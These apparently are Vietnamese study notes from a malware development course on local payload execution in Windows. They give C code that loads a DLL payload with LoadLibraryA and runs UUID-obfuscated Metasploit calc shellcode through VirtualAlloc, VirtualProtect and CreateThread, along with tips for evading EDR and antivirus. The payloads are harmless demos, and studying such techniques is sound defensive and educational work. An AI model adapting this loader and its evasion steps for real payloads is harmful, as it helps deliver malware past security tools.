DLL

Chúng ta sẽ xây dựng chương trình để nạp DLL độc hại vào tiến trình hiện tại và thực thi.

Creating a DLL

Tạo DLL ở trong Visual Studio như sau:

DLL Setup

Đoạn code bên dưới minh họa cho việc tạo ra một DLL mà sẽ thực thi mã độc (hàm MessageBoxA) khi nó được nạp vào tiến trình.

#include <Windows.h>
#include <stdio.h>
 
VOID MsgBoxPayload() {
    MessageBoxA(NULL, "Hacking With MaldevAcademy", "Wow !", MB_OK | MB_ICONINFORMATION);
}
 
 
BOOL APIENTRY DllMain (HMODULE hModule, DWORD dwReason, LPVOID lpReserved){
 
    switch (dwReason){
        case DLL_PROCESS_ATTACH: {
            MsgBoxPayload();
            break;
        };
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
    }
 
    return TRUE;
}

Info

Chú ý rằng ta đã xóa các precompiled header ra khỏi project. Xem thêm Creating a DLL File With Visual Studio.

Local Injection

Để thực thi một DLL độc hại nào đó, ta cần thực hiện các bước sau:

  1. Nhận vào tên của DLL (phải ở cùng thư mục với chương trình hiện tại).
  2. Sử dụng hàm LoadLibraryA để nạp DLL vào vùng nhớ của tiến trình hiện tại1.
  3. Việc nạp DLL vào tiến trình sẽ trigger hàm MsgBoxPayload do nó được chỉ định sẽ chạy sự kiện nạp DLL (DLL_PROCESS_ATTACH) xảy ra.

Đoạn code triển khai:

#include <Windows.h>
#include <stdio.h>
 
 
int main(int argc, char* argv[]) {
 
	if (argc < 2){
		printf("[!] Missing Argument; Dll Payload To Run \n");
		return -1;
	}
 
	printf("[i] Injecting \"%s\" To The Local Process Of Pid: %d \n", argv[1], GetCurrentProcessId());
	
	
	printf("[+] Loading Dll... ");
	if (LoadLibraryA(argv[1]) == NULL) {
		printf("[!] LoadLibraryA Failed With Error : %d \n", GetLastError());
		return -1;
	}
	printf("[+] DONE ! \n");
 
	
	printf("[#] Press <Enter> To Quit ... ");
	getchar();
 
	return 0;
}

Process Analysis

Để xác nhận rằng DLL đã được nạp vào tiến trình hiện tại, chúng ta có thể kiểm tra ở trong tab “Modules” của Process Hacker:

Shellcode

Ngoài việc sử dụng DLL, chúng ta cũng có thể nạp shellcode vào tiến trình hiện tại để thực thi code. Phương pháp này sẽ sử dụng các hàm sau của Windows API:

  • VirtualAlloc: cấp phát vùng nhớ để chứa shellcode.
  • VirtualProtect: thay đổi quyền bảo vệ vùng nhớ đã cấp phát để có thể thực thi shellcode.
  • CreateThread: tạo một luồng mới để thực thi shellcode.

Warning

Kỹ thuật này có thể bị phát hiện bởi các EDR. Tuy nhiên, nếu có thực hiện đủ các biện pháp che giấu, chúng ta vẫn có thể bypass các công cụ antivirus.

Obfuscating Payload

Để làm cho việc thực thi shellcode trở nên thực tế, chúng ta sẽ che giấu shellcode bằng cách chuyển nó thành UUID và thực hiện deobfuscate trong run time.

PBYTE       pDeobfuscatedPayload = NULL;
SIZE_T      sDeobfuscatedSize = NULL;
 
// Prinitng some information
printf("[i] Injecting Shellcode The Local Process Of Pid: %d \n", GetCurrentProcessId());
 
printf("[#] Press <Enter> To Decrypt ... ");
getchar();
 
printf("[i] Decrypting ...");
if (!UuidDeobfuscation(UuidArray, NumberOfElements, &pDeobfuscatedPayload, &sDeobfuscatedSize)) {
    return -1;
}
printf("[+] DONE !\n");
 
printf("[i] Deobfuscated Payload At : 0x%p Of Size : %d \n", pDeobfuscatedPayload, sDeobfuscatedSize);

Với UuidArrayNumberOfElements được định nghĩa như sau:

// output from: HellShell.exe calc.bin uuid
// where calc.bin is metasploit's calc x64 shellcode
char* UuidArray[] = {
        "E48348FC-E8F0-00C0-0000-415141505251", "D2314856-4865-528B-6048-8B5218488B52", "728B4820-4850-B70F-4A4A-4D31C94831C0",
        "7C613CAC-2C02-4120-C1C9-0D4101C1E2ED", "48514152-528B-8B20-423C-4801D08B8088", "48000000-C085-6774-4801-D0508B481844",
        "4920408B-D001-56E3-48FF-C9418B348848", "314DD601-48C9-C031-AC41-C1C90D4101C1", "F175E038-034C-244C-0845-39D175D85844",
        "4924408B-D001-4166-8B0C-48448B401C49", "8B41D001-8804-0148-D041-5841585E595A", "59415841-5A41-8348-EC20-4152FFE05841",
        "8B485A59-E912-FF57-FFFF-5D48BA010000", "00000000-4800-8D8D-0101-000041BA318B", "D5FF876F-E0BB-2A1D-0A41-BAA695BD9DFF",
        "C48348D5-3C28-7C06-0A80-FBE07505BB47", "6A6F7213-5900-8941-DAFF-D563616C6300"
};
 
#define NumberOfElements 17

Allocating Memory

Chúng ta sẽ dùng hàm VirtualAlloc để cấp phát vùng nhớ chứa shellcode đã được deobfuscated với kích thước là giá trị của biến sDeobfuscatedSize (được xác định bởi hàm UuidDeobfuscation trong quá trình deobfuscate).

Nguyên mẫu của hàm VirtualAlloc:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,          // The starting address of the region to allocate (set to NULL)
  [in]           SIZE_T dwSize,             // The size of the region to allocate, in bytes
  [in]           DWORD  flAllocationType,   // The type of memory allocation
  [in]           DWORD  flProtect           // The memory protection for the region of pages to be allocated
);

Với tham số flAllocationTypeMEM_COMMIT | MEM_RESERVE:

  • MEM_COMMIT: để dành một khoảng các trang vùng nhớ ảo nhưng không commit xuống bộ nhớ vật lý.
  • MEM_RESERVE: commit một khoảng các trang vùng nhớ ảo trong không gian bộ nhớ ảo của tiến trình.

Chúng ta có thể truyền cờ PAGE_EXECUTE_READWRITE vào tham số cuối cùng nhưng việc tạo ra một vùng nhớ với đầy đủ quyền có thể tăng khả năng bị phát hiện bởi các security solution. Thay vào đó, chúng ta có thể dùng quyền PAGE_READWRITE do tại thời điểm này thì ta chưa cần thực thi shellcode ngay. Giá trị trả về của VirtualAlloc sẽ là base address của vùng nhớ đã được cấp phát.

Writing Payload To Memory

Kế đến, chúng ta sẽ sao chép shellcode ở địa chỉ pDeobfuscatedPayload (được trả về bởi hàm UuidDeobfuscation) vào vùng nhớ vừa tạo (ta gọi là pShellcodeAddress). Vùng nhớ của pDeobfuscatedPayload sẽ được set về 0 ngay sau đó để tránh bị phát hiện bởi các security solution.

Modifying Memory Protection

Đến lúc này, ta cần thay đổi quyền bảo vệ của vùng nhớ chứa shellcode thành PAGE_EXECUTE_READ hoặc PAGE_EXECUTE_READWRITE để có thể thực thi bằng cách dùng hàm VirtualProtect.

Nguyên mẫu của hàm VirtualProtect:

BOOL VirtualProtect(
  [in]  LPVOID lpAddress,       // The base address of the memory region whose access protection is to be changed
  [in]  SIZE_T dwSize,          // The size of the region whose access protection attributes are to be changed, in bytes
  [in]  DWORD  flNewProtect,    // The new memory protection option
  [out] PDWORD lpflOldProtect   // Pointer to a 'DWORD' variable that receives the previous access protection value of 'lpAddress'
);

Info

Mặc dù một số loại shellcode yêu cầu quyền PAGE_EXECUTE_READWRITE (chẳng hạn để tự giải mã), shellcode mà ta dùng hiện tại của msfvenom không yêu cầu quyền này.

Payload Execution Via CreateThread

Cuối cùng, thực thi shellcode bằng cách sử dụng hàm CreateThread và truyền pShellcodeAddress vào tham số lpStartAddress. Nguyên mẫu của hàm CreateThread:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,    // Set to NULL - optional
  [in]            SIZE_T                  dwStackSize,           // Set to 0 - default
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,        // Pointer to a function to be executed by the thread, in our case its the base address of the payload
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,           // Pointer to a variable to be passed to the function executed (set to NULL - optional)
  [in]            DWORD                   dwCreationFlags,       // Set to 0 - default
  [out, optional] LPDWORD                 lpThreadId             // pointer to a 'DWORD' variable that receives the thread ID (set to NULL - optional)   
);

Payload Execution Via Function Pointer

Chúng ta cũng có thể thực thi shellcode mà không cần tạo thread như sau:

(*(VOID(*)()) pShellcodeAddress)();

Giải thích:

  • pShellcodeAddress là địa chỉ của shellcode.
  • VOID(*)() là kiểu của con trỏ hàm có giá trị trả về là VOID.
  • (VOID(*)()) là để ép kiểu pShellcodeAddress thành một con trỏ đến hàm.
  • Dấu * ở đầu là để dereference con trỏ hàm để lấy ra hàm.
  • Cặp dấu ngoặc tròn () cuối cùng là để gọi hàm.

Đoạn code trên có thể được biểu diễn như sau:

typedef VOID (WINAPI* fnShellcodefunc)();       // Defined before the main function
fnShellcodefunc pShell = (fnShellcodefunc) pShellcodeAddress;
pShell();

Info

Với WINAPI được định nghĩa như sau:

#define WINAPI      __stdcall

__stdcall là một trong số các từ khóa giúp chỉ định calling convention của hàm và nó thường được dùng làm calling convention tiêu chuẩn cho các system call của Windows API.

CreateThread Vs Function Pointer Execution

Mặc dù chúng ta có thể chạy shellcode với con trỏ hàm nhưng nó không phải là một cách tốt để thực thi shellcode. Cụ thể hơn, shellcode được tạo ra bởi msfvenom sẽ ngắt luồng hiện tại sau khi thực thi xong. Khi shellcode được thực thi thông qua con trỏ hàm, luồng thực thi sẽ là luồng chính và do đó mà toàn bộ tiến trình sẽ kết thúc sau khi shellcode được thực thi xong.

Việc tạo luồng mới thông qua hàm CreateThread sẽ giữ cho tiến trình chạy sau khi shellcode được thực thi xong.

Waiting For Thread Execution

Việc thực thi shellcode ở trong luồng mới mà không delay có thể khiến cho luồng chính kết thúc việc thực thi trước khi shellcode được thực thi. Ví dụ:

int main(){
    
    // ...
    
    CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL); // Shellcode execution
    return 0; // The main thread is done executing before the thread running the shellcode
}

Trong thực tế, chúng ta sẽ sử dụng hàm WaitForSingleObject để đợi cho đến khi luồng thực thi shellcode kết thúc:

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, INFINTE);

Hoặc cũng có thể chờ một khoảng thời gian cố định:

HANDLE hThread = CreateThread(NULL, NULL, pShellcodeAddress, NULL, NULL, NULL);
WaitForSingleObject(hThread, 2000);

Deallocating Memory

Chúng ta có thể dùng hàm VirtualFree để giải phóng vùng nhớ đã cấp phát để chứa shellcode sau khi nó đã được thực thi xong:

BOOL VirtualFree(
  [in] LPVOID lpAddress,
  [in] SIZE_T dwSize,
  [in] DWORD  dwFreeType
);

Đối số của tham số thứ 3 có thể là:

  • MEM_DECOMMIT: giải phóng vùng nhớ vật lý nhưng không giải phóng không gian địa chỉ ảo. Do đó, không gian địa chỉ ảo còn có thể được dùng để cấp phát bộ nhớ trong tương lai.
  • MEM_RELEASE: giải phóng vùng nhớ vật lý và không gian địa chỉ ảo. Theo tài liệu của Microsoft, khi sử dùng flag này, dwSize bắt buộc phải bằng 0.

Warning

Hàm VirtualFree chỉ được gọi khi shellcode đã được thực thi xong. Nếu không, nó có thể gây crash tiến trình.

Debugging

Payload sau khi được deobfuscated ở trong vùng nhớ:

Vùng nhớ được cấp phát bởi VirtualAlloc đã được khởi tạo với giá trị 0:

Shellcode được sao chép từ vùng nhớ tạm vào vùng nhớ đã được cấp phát:

Vùng nhớ tạm chứa shellcode trước đó đã được dọn sạch bằng các bit 0:

Quyền bảo vệ bộ nhớ của vùng nhớ chứa shellcode là RWX (đọc, ghi và thực thi):

list
from outgoing([[MalDev - Local Payload Execution]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm Loading a DLL.